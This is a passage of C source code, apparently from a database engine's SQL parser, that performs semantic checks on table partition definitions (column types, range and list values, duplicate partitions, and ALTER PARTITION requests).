if (expr->info.expr.arg1->type_enum == PT_TYPE_NULL)
{
return -1;
}
}
else if (expr->info.expr.arg1->node_type == PT_EXPR)
{
ret = pt_find_partition_column_count (expr->info.expr.arg1, name_node);
if (ret < 0)
{
return -1;
}
cnt += ret;
}
}
if (expr->info.expr.arg2 != NULL)
{
if (expr->info.expr.arg2->node_type == PT_NAME)
{
*name_node = expr->info.expr.arg2;
cnt++;
}
else if (expr->info.expr.arg2->node_type == PT_VALUE)
{ /* except default NULL parameter */
if (expr->info.expr.arg2->type_enum == PT_TYPE_NULL
&& ((expr->info.expr.arg2->line_number != expr->info.expr.arg3->line_number)
|| (expr->info.expr.arg2->column_number != expr->info.expr.arg3->column_number)))
{
return -1;
}
}
else if (expr->info.expr.arg2->node_type == PT_EXPR)
{
ret = pt_find_partition_column_count (expr->info.expr.arg2, name_node);
if (ret < 0)
{
return -1;
}
cnt += ret;
}
}
if (expr->info.expr.arg3 != NULL)
{
if (expr->info.expr.arg3->node_type == PT_NAME)
{
*name_node = expr->info.expr.arg3;
cnt++;
}
else if (expr->info.expr.arg3->node_type == PT_VALUE)
{
if (expr->info.expr.arg3->type_enum == PT_TYPE_NULL)
{
return -1;
}
}
else if (expr->info.expr.arg3->node_type == PT_EXPR)
{
ret = pt_find_partition_column_count (expr->info.expr.arg3, name_node);
if (ret < 0)
{
return -1;
}
cnt += ret;
}
}
return cnt;
}
/*
* pt_value_links_add () -
* return:
* parser(in):
* parts(in):
* val(in):
* ptl(in):
*/
static int
pt_value_links_add (PARSER_CONTEXT * parser, PT_NODE * parts, PT_NODE * val, PT_VALUE_LINKS * ptl)
{
PT_VALUE_LINKS *vblk, *blks;
vblk = (PT_VALUE_LINKS *) malloc (sizeof (PT_VALUE_LINKS));
if (vblk == NULL)
{
PT_ERRORm (parser, val, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
return ER_FAILED;
}
vblk->vallink = val;
vblk->next = ptl->next;
if (ptl->next == NULL)
{ /* first item */
ptl->next = vblk;
return 0;
}
for (blks = ptl->next; blks; blks = blks->next)
{
if (val == NULL)
{
if (blks->vallink == NULL)
{
/* MAXVALUE or NULL duplicate */
goto duplicate_error;
}
}
else if (blks->vallink != NULL)
{
if (db_value_compare (pt_value_to_db (parser, val), pt_value_to_db (parser, blks->vallink)) == DB_EQ)
{
goto duplicate_error;
}
}
}
ptl->next = vblk;
return NO_ERROR;
duplicate_error:
if (vblk != NULL)
{
free_and_init (vblk);
}
PT_ERRORmf (parser, val, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DUPLICATE_PARTITION_DEF,
parts->info.parts.name->info.name.original);
return ER_FAILED;
}
/*
* pt_check_partition_values () - perform semantic check on partition
* range/list specification
* return: error code or NO_ERROR
* parser(in) : parser context
* desired_type(in) : desired type for partition values
* data_type(in) : data type for desired_type
* ptl(in) : values context
* parts (in) : node specifying one partition
*/
static int
pt_check_partition_values (PARSER_CONTEXT * parser, PT_TYPE_ENUM desired_type, PT_NODE * data_type,
PT_VALUE_LINKS * ptl, PT_NODE * parts)
{
int error = NO_ERROR;
PT_NODE *val = NULL;
const char *value_text = NULL;
if (parts->info.parts.values == NULL)
{
/* MAXVALUE specification */
return pt_value_links_add (parser, parts, NULL, ptl);
}
for (val = parts->info.parts.values; val != NULL; val = val->next)
{
bool has_different_collation = false;
bool has_different_codeset = false;
if (val->node_type != PT_VALUE)
{
/* Only values are allowed in partition LIST or RANGE specification. */
assert_release (val->node_type != PT_VALUE);
PT_ERROR (parser, val, er_msg ());
error = ER_FAILED;
break;
}
if (PT_HAS_COLLATION (val->type_enum) && data_type != NULL && PT_HAS_COLLATION (data_type->type_enum))
{
if ((val->data_type != NULL && data_type->info.data_type.units != val->data_type->info.data_type.units)
|| (val->data_type == NULL && data_type->info.data_type.units != LANG_SYS_CODESET))
{
has_different_codeset = true;
}
if ((val->data_type != NULL
&& data_type->info.data_type.collation_id != val->data_type->info.data_type.collation_id)
|| (val->data_type == NULL && data_type->info.data_type.collation_id != LANG_SYS_COLLATION))
{
has_different_collation = true;
}
}
if (has_different_codeset == true)
{
int val_codeset;
val_codeset = (val->data_type != NULL) ? val->data_type->info.data_type.units : LANG_SYS_CODESET;
error = ER_FAILED;
PT_ERRORmf2 (parser, val, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_PARTITION_VAL_CODESET,
lang_charset_introducer ((INTL_CODESET) val_codeset),
lang_charset_introducer ((INTL_CODESET) data_type->info.data_type.units));
break;
}
if (val->type_enum != PT_TYPE_NULL && (val->type_enum != desired_type || has_different_collation == true))
{
/* Coerce this value to the desired type. We have to preserve the original text of the value for replication
* reasons. The coercion below will either be successful or fail, but it should not alter the way in which
* the original statement is printed */
value_text = val->info.value.text;
val->info.value.text = NULL;
error = pt_coerce_value (parser, val, val, desired_type, data_type);
val->info.value.text = value_text;
if (error != NO_ERROR)
{
break;
}
}
/* add this value to the values list */
if (val->type_enum == PT_TYPE_NULL)
{
error = pt_value_links_add (parser, parts, NULL, ptl);
}
else
{
error = pt_value_links_add (parser, parts, val, ptl);
}
if (error != NO_ERROR)
{
break;
}
}
return error;
}
/*
* pt_check_partitions () - do semantic checks on a partition clause
* return: none
* parser(in): the parser context used to derive the statement
* stmt(in): a create class or alter class statement
* dbobj(in):
*
* Note :
* check that
* - stmt's expression have an attribute
* - expression's attribute is not set nor object type
* - partition type is equals to partition definitions
* - partition max
* - valid hash size
*/
static void
pt_check_partitions (PARSER_CONTEXT * parser, PT_NODE * stmt, MOP dbobj)
{
PT_NODE *pinfo, *pcol, *attr, *pattr, *parts;
int name_count, valchk, parts_cnt;
PT_VALUE_LINKS vlinks = { NULL, NULL };
PT_VALUE_LINKS *pvl, *delpvl;
SEMANTIC_CHK_INFO sc_info = { NULL, NULL, 0, 0, 0, false, false };
PT_NODE *expr_type;
SM_CLASS *smclass;
SM_ATTRIBUTE *smatt;
bool chkflag = false;
DB_QUERY_TYPE *query_columns = NULL, *column = NULL;
int error = NO_ERROR;
assert (parser != NULL);
if (!stmt || (stmt->node_type != PT_CREATE_ENTITY && stmt->node_type != PT_ALTER))
{
return;
}
if (stmt->node_type == PT_CREATE_ENTITY)
{
pinfo = stmt->info.create_entity.partition_info;
}
else
{
pinfo = stmt->info.alter.alter_clause.partition.info;
}
if (pinfo == NULL || pinfo->node_type != PT_PARTITION || pinfo->info.partition.type > PT_PARTITION_LIST)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_PARTITION_DEFINITION);
return;
}
if (0 < parser->host_var_count)
{
PT_ERRORm (parser, pinfo, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_HOSTVAR_IN_DDL);
return;
}
pcol = pinfo->info.partition.expr;
if (pcol->node_type != PT_NAME && pcol->node_type != PT_EXPR)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NO_PARTITION_COLUMN);
return;
}
if (pcol->node_type == PT_EXPR)
{
name_count = pt_find_partition_column_count (pcol, &pcol);
if (name_count < 0)
{ /* NULL constant exist */
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_PARTITION_DEFINITION);
return;
}
else if (name_count == 0)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NO_PARTITION_COLUMN);
return;
}
else if (name_count > 1)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ONLYONE_PARTITION_COLUMN);
return;
}
}
assert (pcol->node_type == PT_NAME);
if (stmt->node_type == PT_CREATE_ENTITY)
{
for (attr = stmt->info.create_entity.attr_def_list, chkflag = false; attr && attr->node_type == PT_ATTR_DEF;
attr = attr->next)
{
pattr = attr->info.attr_def.attr_name;
if (pattr == NULL)
{
continue;
}
if (!intl_identifier_casecmp (pcol->info.name.original, pattr->info.name.original))
{
if (attr->info.attr_def.attr_type != PT_NORMAL)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_PARTITION_COLUMN_TYPE);
return;
}
pcol->type_enum = attr->type_enum;
if (attr->data_type != NULL)
{
assert (pcol->data_type == NULL);
pcol->data_type = parser_copy_tree (parser, attr->data_type);
}
else
{
TP_DOMAIN *d;
d = pt_type_enum_to_db_domain (pcol->type_enum);
d = tp_domain_cache (d);
pcol->data_type = pt_domain_to_data_type (parser, d);
}
pinfo->info.partition.keycol = parser_copy_tree (parser, pcol);
chkflag = true;
break;
}
}
/* check if partitioning is requested by a column in SELECT query */
if (!chkflag && stmt->info.create_entity.create_select != NULL)
{
int error = NO_ERROR;
PT_NODE *qry_select = stmt->info.create_entity.create_select;
/* get columns from SELECT result */
error = pt_get_select_query_columns (parser, qry_select, &query_columns);
if (error != NO_ERROR)
{
/* error message already set at the above compilation step */
return;
}
for (column = query_columns; column != NULL; column = db_query_format_next (column))
{
if (!intl_identifier_casecmp (column->original_name, pcol->info.name.original))
{
pcol->type_enum = pt_db_to_type_enum (column->db_type);
assert (column->domain != NULL);
pcol->data_type = pt_domain_to_data_type (parser, column->domain);
pinfo->info.partition.keycol = parser_copy_tree (parser, pcol);
chkflag = true;
break;
}
}
if (query_columns != NULL)
{
db_free_query_format (query_columns);
query_columns = NULL;
}
assert (NULL == query_columns);
}
}
else
{
if (au_fetch_class (dbobj, &smclass, AU_FETCH_READ, AU_SELECT) == NO_ERROR)
{
for (smatt = smclass->attributes; smatt != NULL; smatt = (SM_ATTRIBUTE *) smatt->header.next)
{
if (SM_COMPARE_NAMES (smatt->header.name, pcol->info.name.original) == 0)
{
if (smatt->class_mop != stmt->info.alter.entity_name->info.name.db_object)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC,
MSGCAT_SEMANTIC_INVALID_PARTITION_INHERITED_ATTR);
}
pcol->type_enum = pt_db_to_type_enum (smatt->type->id);
assert (smatt->domain != NULL);
pcol->data_type = pt_domain_to_data_type (parser, smatt->domain);
pinfo->info.partition.keycol = parser_copy_tree (parser, pcol);
chkflag = true;
break;
}
}
}
}
if (chkflag)
{
switch (pcol->type_enum)
{
case PT_TYPE_INTEGER:
case PT_TYPE_BIGINT:
case PT_TYPE_SMALLINT:
case PT_TYPE_DATE:
case PT_TYPE_TIME:
case PT_TYPE_TIMESTAMP:
case PT_TYPE_TIMESTAMPTZ:
case PT_TYPE_TIMESTAMPLTZ:
case PT_TYPE_DATETIME:
case PT_TYPE_DATETIMETZ:
case PT_TYPE_DATETIMELTZ:
case PT_TYPE_CHAR:
case PT_TYPE_VARCHAR:
case PT_TYPE_NCHAR:
case PT_TYPE_VARNCHAR:
break;
default:
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_PARTITION_COLUMN_TYPE);
return;
}
}
else
{
bool found = false;
if (stmt->node_type == PT_CREATE_ENTITY && stmt->info.create_entity.supclass_list)
{
DB_OBJECT *sup_dbobj = stmt->info.create_entity.supclass_list->info.name.db_object;
if (au_fetch_class (sup_dbobj, &smclass, AU_FETCH_READ, AU_SELECT) == NO_ERROR)
{
for (smatt = smclass->attributes; smatt != NULL; smatt = (SM_ATTRIBUTE *) smatt->header.next)
{
if (SM_COMPARE_NAMES (smatt->header.name, pcol->info.name.original) == 0)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC,
MSGCAT_SEMANTIC_INVALID_PARTITION_INHERITED_ATTR);
found = true;
}
}
}
}
if (!found)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NO_PARTITION_COLUMN);
}
}
pcol = pinfo->info.partition.expr;
sc_info.top_node = pcol;
sc_info.donot_fold = false;
expr_type = pt_semantic_type (parser, pcol, &sc_info);
if (expr_type)
{
switch (expr_type->type_enum)
{
case PT_TYPE_INTEGER:
case PT_TYPE_BIGINT:
case PT_TYPE_SMALLINT:
case PT_TYPE_DATE:
case PT_TYPE_TIME:
case PT_TYPE_TIMESTAMP:
case PT_TYPE_TIMESTAMPTZ:
case PT_TYPE_TIMESTAMPLTZ:
case PT_TYPE_DATETIME:
case PT_TYPE_DATETIMETZ:
case PT_TYPE_DATETIMELTZ:
case PT_TYPE_CHAR:
case PT_TYPE_VARCHAR:
case PT_TYPE_NCHAR:
case PT_TYPE_VARNCHAR:
break;
default:
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_PARTITION_COLUMN_TYPE);
return;
}
}
else
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_PARTITION_DEFINITION);
return;
}
if (pinfo->info.partition.type == PT_PARTITION_HASH)
{
PT_NODE *hashsize_nodep;
hashsize_nodep = pinfo->info.partition.hashsize;
if (hashsize_nodep == NULL || hashsize_nodep->type_enum != PT_TYPE_INTEGER
|| hashsize_nodep->info.value.data_value.i < 1 || hashsize_nodep->info.value.data_value.i > MAX_PARTITIONS)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_PARTITION_SIZE);
}
}
else
{ /* RANGE or LIST */
parts = pinfo->info.partition.parts;
if (parts == NULL)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_PARTITION_DEFINITION);
return;
}
parts_cnt = 0;
for (chkflag = false; parts && parts->node_type == PT_PARTS; parts = parts->next)
{
PT_NODE *fpart;
if (parts->info.parts.type != pinfo->info.partition.type)
{
chkflag = true;
break;
}
if (parts->info.parts.values != NULL)
{
parts->info.parts.values =
parser_walk_tree (parser, parts->info.parts.values, pt_check_and_replace_hostvar, &valchk, NULL, NULL);
if ((pinfo->info.partition.type == PT_PARTITION_RANGE)
&& parts->info.parts.values->type_enum == PT_TYPE_NULL)
{
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CONSTANT_TYPE_MISMATCH,
parts->info.parts.name->info.name.original);
goto pvl_free_end;
}
}
valchk = pt_check_partition_values (parser, expr_type->type_enum, expr_type->data_type, &vlinks, parts);
if (valchk != NO_ERROR)
{
goto pvl_free_end;
}
for (fpart = parts->next; fpart && fpart->node_type == PT_PARTS; fpart = fpart->next)
{
if (!intl_identifier_casecmp (parts->info.parts.name->info.name.original,
fpart->info.parts.name->info.name.original))
{
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DUPLICATE_PARTITION_DEF,
fpart->info.parts.name->info.name.original);
goto pvl_free_end;
}
}
/* check value increasing for range partition */
if (pinfo->info.partition.type == PT_PARTITION_RANGE)
{
error = pt_check_range_partition_strict_increasing (parser, stmt, parts, parts->next, NULL);
if (error != NO_ERROR)
{
assert (pt_has_error (parser));
goto pvl_free_end;
}
}
parts_cnt++;
}
if (parts_cnt > MAX_PARTITIONS)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_PARTITION_SIZE);
}
else if (chkflag)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_PARTITION_DEFINITION);
}
}
pvl_free_end:
pvl = vlinks.next;
while (pvl)
{
delpvl = pvl;
pvl = pvl->next;
free_and_init (delpvl);
}
}
/*
* partition_range_min_max () - find min/max value
* return: 0-process, 1-duplicate
* dest(in/out): min or max value
* inval(in): input value
* min_max(in): RANGE_MIN, RANGE_MAX
*
* Note :
* check that
* - stmt's expression have an attribute
* - expression's attribute is not set nor object type
* - partition type is equals to partition definitions
* - partition max
* - valid hash size
*/
static int
partition_range_min_max (DB_VALUE ** dest, DB_VALUE * inval, int min_max)
{
int op, rst;
DB_VALUE nullval;
if (dest == NULL)
{
return 0;
}
if (inval == NULL)
{
db_make_null (&nullval);
inval = &nullval;
}
if (DB_IS_NULL (inval))
{ /* low or high infinite */
if (*dest != NULL)
{
if (DB_IS_NULL (*dest))
{
return 1;
}
pr_free_ext_value (*dest);
}
*dest = db_value_copy (inval);
return 0;
}
if (*dest == NULL)
{
*dest = db_value_copy (inval);
}
else
{
if (DB_IS_NULL (*dest))
{ /* low or high infinite */
if (DB_IS_NULL (inval))
{
return 1;
}
else
{
return 0;
}
}
op = (min_max == RANGE_MIN) ? DB_GT : DB_LT;
rst = db_value_compare (*dest, inval);
if (rst == op)
{
pr_free_ext_value (*dest);
*dest = db_value_copy (inval);
}
else if (rst == DB_EQ)
{
return 1;
}
}
return 0;
}
/*
* db_value_list_add () -
* return:
* ptail(out):
* val(in):
*/
static int
db_value_list_add (DB_VALUE_PLIST ** ptail, DB_VALUE * val)
{
DB_VALUE_PLIST *tmp_vallist;
DB_VALUE nullval, *chkval;
if (ptail == NULL)
{
return -1;
}
if (val == NULL)
{
db_make_null (&nullval);
chkval = &nullval;
}
else
{
chkval = val;
}
tmp_vallist = (DB_VALUE_PLIST *) malloc (sizeof (DB_VALUE_PLIST));
if (tmp_vallist == NULL)
{
return -1;
}
if (*ptail == NULL)
{
*ptail = tmp_vallist;
}
else
{
(*ptail)->next = tmp_vallist;
*ptail = tmp_vallist;
}
(*ptail)->next = NULL;
(*ptail)->val = db_value_copy (chkval);
return 0;
}
/*
* db_value_list_find () -
* return:
* phead(in):
* val(in):
*/
static int
db_value_list_find (const DB_VALUE_PLIST * phead, const DB_VALUE * val)
{
DB_VALUE_PLIST *tmp;
DB_VALUE nullval, *chkval;
if (phead == NULL)
{
return 0;
}
if (val == NULL)
{
db_make_null (&nullval);
chkval = &nullval;
}
else
{
chkval = (DB_VALUE *) val;
}
for (tmp = (DB_VALUE_PLIST *) phead; tmp; tmp = tmp->next)
{
if ((DB_IS_NULL (tmp->val) && DB_IS_NULL (chkval)) || db_value_compare (tmp->val, chkval) == DB_EQ)
{
return 1;
}
}
return 0;
}
/*
* db_value_list_finddel () -
* return:
* phead(in/out):
* val(in):
*/
static int
db_value_list_finddel (DB_VALUE_PLIST ** phead, DB_VALUE * val)
{
DB_VALUE_PLIST *tmp, *pre = NULL;
DB_VALUE nullval, *chkval;
if (phead == NULL)
{
return 0;
}
if (val == NULL)
{
db_make_null (&nullval);
chkval = &nullval;
}
else
{
chkval = val;
}
for (tmp = *phead; tmp; tmp = tmp->next)
{
if ((DB_IS_NULL (tmp->val) && DB_IS_NULL (chkval)) || db_value_compare (tmp->val, chkval) == DB_EQ)
{
if (pre == NULL)
{
*phead = tmp->next;
}
else
{
pre->next = tmp->next;
}
pr_free_ext_value (tmp->val);
free_and_init (tmp);
return 1;
}
pre = tmp;
}
return 0;
}
/*
* pt_check_alter_partition () - do semantic checks on a alter partition clause
* return: none
* parser(in): the parser context used to derive the statement
* stmt(in): a alter class statement
* dbobj(in):
*
* Note :
* check that
* - partition type is equals to original partition definitions
* - partition min/max
*/
static void
pt_check_alter_partition (PARSER_CONTEXT * parser, PT_NODE * stmt, MOP dbobj)
{
PT_NODE *name_list, *part_list;
PT_NODE *names, *parts, *val, *next_parts;
PT_ALTER_CODE cmd;
SM_CLASS *smclass, *subcls;
DB_OBJLIST *objs;
int i, setsize;
int orig_cnt = 0, name_cnt = 0, parts_cnt = 0, chkflag = 0;
DB_VALUE *psize;
char *class_name, *part_name;
DB_VALUE minele, maxele, *minval = NULL, *maxval = NULL;
DB_VALUE *parts_val, *partmin = NULL, *partmax = NULL;
DB_VALUE null_val;
DB_VALUE_PLIST *minmax_head = NULL, *minmax_tail = NULL;
DB_VALUE_PLIST *outlist_head = NULL, *outlist_tail = NULL;
DB_VALUE_PLIST *inlist_head = NULL, *inlist_tail = NULL;
DB_VALUE_PLIST *min_list, *max_list;
DB_VALUE_PLIST *p, *next;
PT_NODE *column_dt = NULL;
PARSER_CONTEXT *tmp_parser = NULL;
PT_NODE **statements = NULL;
const char *expr_sql = NULL;
int error = NO_ERROR;
assert (parser != NULL);
if (stmt == NULL)
{
return;
}
db_make_null (&minele);
db_make_null (&maxele);
db_make_null (&null_val);
class_name = (char *) stmt->info.alter.entity_name->info.name.original;
cmd = stmt->info.alter.code;
if (cmd == PT_DROP_PARTITION || cmd == PT_ANALYZE_PARTITION || cmd == PT_REORG_PARTITION
|| cmd == PT_PROMOTE_PARTITION)
{
name_list = stmt->info.alter.alter_clause.partition.name_list;
}
else
{
name_list = NULL;
}
if (0 < parser->host_var_count)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_HOSTVAR_IN_DDL);
return;
}
if (cmd == PT_ADD_HASHPARTITION || cmd == PT_COALESCE_PARTITION)
{
psize = pt_value_to_db (parser, stmt->info.alter.alter_clause.partition.size);
}
else
{
psize = NULL;
}
if (cmd == PT_ADD_PARTITION || cmd == PT_REORG_PARTITION)
{
part_list = stmt->info.alter.alter_clause.partition.parts;
}
else
{
part_list = NULL;
}
switch (cmd)
{ /* parameter check */
case PT_DROP_PARTITION: /* name_list */
case PT_PROMOTE_PARTITION:
if (name_list == NULL)
{
chkflag = 1;
}
break;
case PT_ANALYZE_PARTITION: /* NULL = ALL */
break;
case PT_ADD_PARTITION: /* parts */
if (part_list == NULL)
{
chkflag = 1;
}
break;
case PT_ADD_HASHPARTITION: /* psize */
case PT_COALESCE_PARTITION: /* psize */
if (psize == NULL)
{
chkflag = 1;
}
break;
case PT_REORG_PARTITION: /* name_list, parts */
if (name_list == NULL || part_list == NULL)
{
chkflag = 1;
}
break;
default:
chkflag = 1;
break;
}
if (chkflag)
{
PT_ERRORmf (parser, stmt->info.alter.entity_name, MSGCAT_SET_PARSER_SEMANTIC,
MSGCAT_SEMANTIC_INVALID_PARTITION_REQUEST, class_name);
return;
}
/* get partition information : count, name, type */
if (au_fetch_class (dbobj, &smclass, AU_FETCH_READ, AU_SELECT) != NO_ERROR || smclass->partition == NULL)
{
PT_ERRORmf (parser, stmt->info.alter.entity_name, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SELECT_AUTH_FAILURE,
class_name);
return;
}
if (smclass->partition->partition_type != PT_PARTITION_HASH)
{
PT_NODE *select_list;
tmp_parser = parser_create_parser ();
if (tmp_parser == NULL)
{
assert (er_errid () != NO_ERROR);
goto check_end;
}
/* get partition expr */
expr_sql = smclass->partition->expr;
/* compile the select statement and get the correct data_type */
statements = parser_parse_string (tmp_parser, expr_sql);
if (statements == NULL)
{
if (er_errid () == NO_ERROR)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_PARTITION_INFO);
}
goto check_end;
}
statements[0] = pt_compile (tmp_parser, statements[0]);
if (statements[0] == NULL)
{
if (er_errid () == NO_ERROR)
{
PT_ERRORm (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_PARTITION_INFO);
}
goto check_end;
}
assert (statements[0]->node_type == PT_SELECT && statements[0]->info.query.q.select.list != NULL);
select_list = statements[0]->info.query.q.select.list;
if (select_list->data_type != NULL)
{
column_dt = parser_copy_tree (parser, select_list->data_type);
}
else
{
column_dt = pt_domain_to_data_type (parser,
tp_domain_resolve_default (pt_type_enum_to_db (select_list->type_enum)));
}
parser_free_parser (tmp_parser);
tmp_parser = NULL;
}
chkflag = 0;
switch (cmd)
{ /* possible action check */
case PT_DROP_PARTITION: /* RANGE/LIST */
case PT_ADD_PARTITION:
case PT_REORG_PARTITION:
case PT_PROMOTE_PARTITION:
if (smclass->partition->partition_type == PT_PARTITION_HASH)
{
chkflag = 1;
}
break;
case PT_ANALYZE_PARTITION: /* ALL */
break;
case PT_ADD_HASHPARTITION: /* HASH */
case PT_COALESCE_PARTITION:
if (smclass->partition->partition_type != PT_PARTITION_HASH)
{
chkflag = 1;
}
break;
default:
break;
}
if (chkflag)
{
PT_ERRORmf (parser, stmt->info.alter.entity_name, MSGCAT_SET_PARSER_SEMANTIC,
MSGCAT_SEMANTIC_INVALID_PARTITION_REQUEST, class_name);
goto check_end;
}
db_make_null (&null_val);
for (objs = smclass->users; objs; objs = objs->next)
{
if (au_fetch_class (objs->op, &subcls, AU_FETCH_READ, AU_SELECT) != NO_ERROR)
{
PT_ERRORc (parser, stmt, er_msg ());
goto check_end;
}
if (!subcls->partition)
{
continue; /* not partitioned */
}
orig_cnt++;
db_make_null (&minele);
db_make_null (&maxele);
if (psize == NULL)
{ /* RANGE or LIST */
if (subcls->partition == NULL || subcls->partition->pname == NULL)
{
/* get partition type */
goto invalid_partition_info_fail;
}
if (smclass->partition->partition_type == DB_PARTITION_RANGE && cmd != PT_DROP_PARTITION
&& cmd != PT_PROMOTE_PARTITION)
{
if (set_get_element_nocopy (subcls->partition->values, 0, &minele) != NO_ERROR)
{
goto invalid_partition_info_fail; /* RANGE MIN */
}
if (set_get_element_nocopy (subcls->partition->values, 1, &maxele) != NO_ERROR)
{
goto invalid_partition_info_fail; /* RANGE MAX */
}
/* MAX VALUE find for ADD PARTITION */
if (cmd == PT_ADD_PARTITION)
{
partition_range_min_max (&maxval, &maxele, RANGE_MAX);
}
}
for (names = name_list, chkflag = 0; names; names = names->next)
{
if (!names->flag.partition_pruned
&& !intl_identifier_casecmp (names->info.name.original, subcls->partition->pname))
{
chkflag = 1;
names->flag.partition_pruned = 1; /* existence marking */
names->info.name.db_object = objs->op;
if (smclass->partition->partition_type == DB_PARTITION_RANGE && cmd == PT_REORG_PARTITION)
{
partition_range_min_max (&maxval, &maxele, RANGE_MAX);
partition_range_min_max (&minval, &minele, RANGE_MIN);
}
if (smclass->partition->partition_type == DB_PARTITION_LIST && cmd == PT_REORG_PARTITION)
{
setsize = set_size (subcls->partition->values);
for (i = 0; i < setsize; i++)
{ /* in-list old value */
if (set_get_element_nocopy (subcls->partition->values, i, &minele) != NO_ERROR)
{
goto invalid_partition_info_fail;
}
if (db_value_list_add (&inlist_tail, &minele))
{
goto out_of_mem_fail;
}
if (inlist_head == NULL)
{
inlist_head = inlist_tail;
}
}
}
}
}
if (chkflag == 0)
{
if (smclass->partition->partition_type == DB_PARTITION_LIST)
{
setsize = set_size (subcls->partition->values);
for (i = 0; i < setsize; i++)
{ /* out-list value */
if (set_get_element_nocopy (subcls->partition->values, i, &minele) != NO_ERROR)
{
goto invalid_partition_info_fail;
}
if (db_value_list_add (&outlist_tail, &minele))
{
goto out_of_mem_fail;
}
if (outlist_head == NULL)
{
outlist_head = outlist_tail;
}
}
}
else if (smclass->partition->partition_type == DB_PARTITION_RANGE && cmd == PT_REORG_PARTITION)
{
/* for non-continuous or overlap ranges check */
if (db_value_list_add (&minmax_tail, &minele))
{
goto out_of_mem_fail;
}
if (minmax_head == NULL)
{
minmax_head = minmax_tail;
}
if (db_value_list_add (&minmax_tail, &maxele))
{
goto out_of_mem_fail;
}
}
}
for (parts = part_list; parts; parts = parts->next)
{
if (!parts->flag.partition_pruned
&& !intl_identifier_casecmp (parts->info.parts.name->info.name.original, subcls->partition->pname))
{
parts->flag.partition_pruned = 1; /* existence marking */
}
}
}
}
if (name_list)
{ /* checks unknown partition */
for (names = name_list; names; names = names->next)
{
if (!names->flag.partition_pruned)
{
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_PARTITION_DOES_NOT_EXIST,
names->info.name.original);
goto check_end;
}
name_cnt++;
}
}
if (part_list)
{ /* checks duplicated definition */
for (parts = part_list; parts; parts = parts->next)
{
if (smclass->partition->partition_type != (int) parts->info.parts.type)
{
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_PARTITION_TYPE_MISMATCH,
parts->info.parts.name->info.name.original);
goto check_end;
}
/* next part */
next_parts = parts->next;
if (next_parts != NULL && smclass->partition->partition_type != (int) next_parts->info.parts.type)
{
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_PARTITION_TYPE_MISMATCH,
next_parts->info.parts.name->info.name.original);
goto check_end;
}
part_name = (char *) parts->info.parts.name->info.name.original;
if (parts->info.parts.values)
{
parts->info.parts.values =
parser_walk_tree (parser, parts->info.parts.values, pt_check_and_replace_hostvar, &chkflag, NULL, NULL);
if (parts->info.parts.type == PT_PARTITION_RANGE && parts->info.parts.values->type_enum == PT_TYPE_NULL)
{
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CONSTANT_TYPE_MISMATCH,
part_name);
goto check_end;
}
}
if (smclass->partition->partition_type == PT_PARTITION_RANGE)
{
/* corece the partition value */
val = parts->info.parts.values;
if (val != NULL)
{
error = pt_coerce_partition_value_with_data_type (parser, val, column_dt);
if (error != NO_ERROR)
{
error = MSGCAT_SEMANTIC_CONSTANT_TYPE_MISMATCH;
PT_ERRORmf (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, error, part_name);
goto check_end;
}
}
/* check strict increasing rule */
error = pt_check_range_partition_strict_increasing (parser, stmt, parts, next_parts, column_dt);
if (error != NO_ERROR)
{
assert (pt_has_error (parser));
goto check_end;
}
parts_val = pt_value_to_db (parser, parts->info.parts.values);
if (parts_val == NULL)
{
parts_val = &null_val;
}
if (db_value_list_find (inlist_head, parts_val))
{
